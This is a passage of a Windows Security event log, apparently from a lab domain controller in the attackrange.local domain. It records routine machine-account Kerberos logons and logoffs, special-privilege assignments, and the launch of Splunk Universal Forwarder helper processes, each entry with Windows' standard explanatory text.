session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:15:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257196 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C50F8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:16:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257199 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:16:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257200 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:16:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257201 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:16:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257202 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:16:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257203 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:16:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257205 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1054 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:16:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257204 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:16:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257208 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C8682 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:16:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257207 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4C8682 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59493 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:16:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257206 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C8682 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:17:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257214 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C89ED - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:17:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257213 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4C89ED - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59497 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:17:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257212 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C89ED - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:17:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257211 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C8981 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:17:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257210 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4C8981 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59496 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:17:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257209 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C8981 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:17:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257215 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257216 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:17:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257217 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x358 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257218 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1084 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257230 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA414 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257229 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA522 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257228 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4CA56B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257227 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4CA62D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - 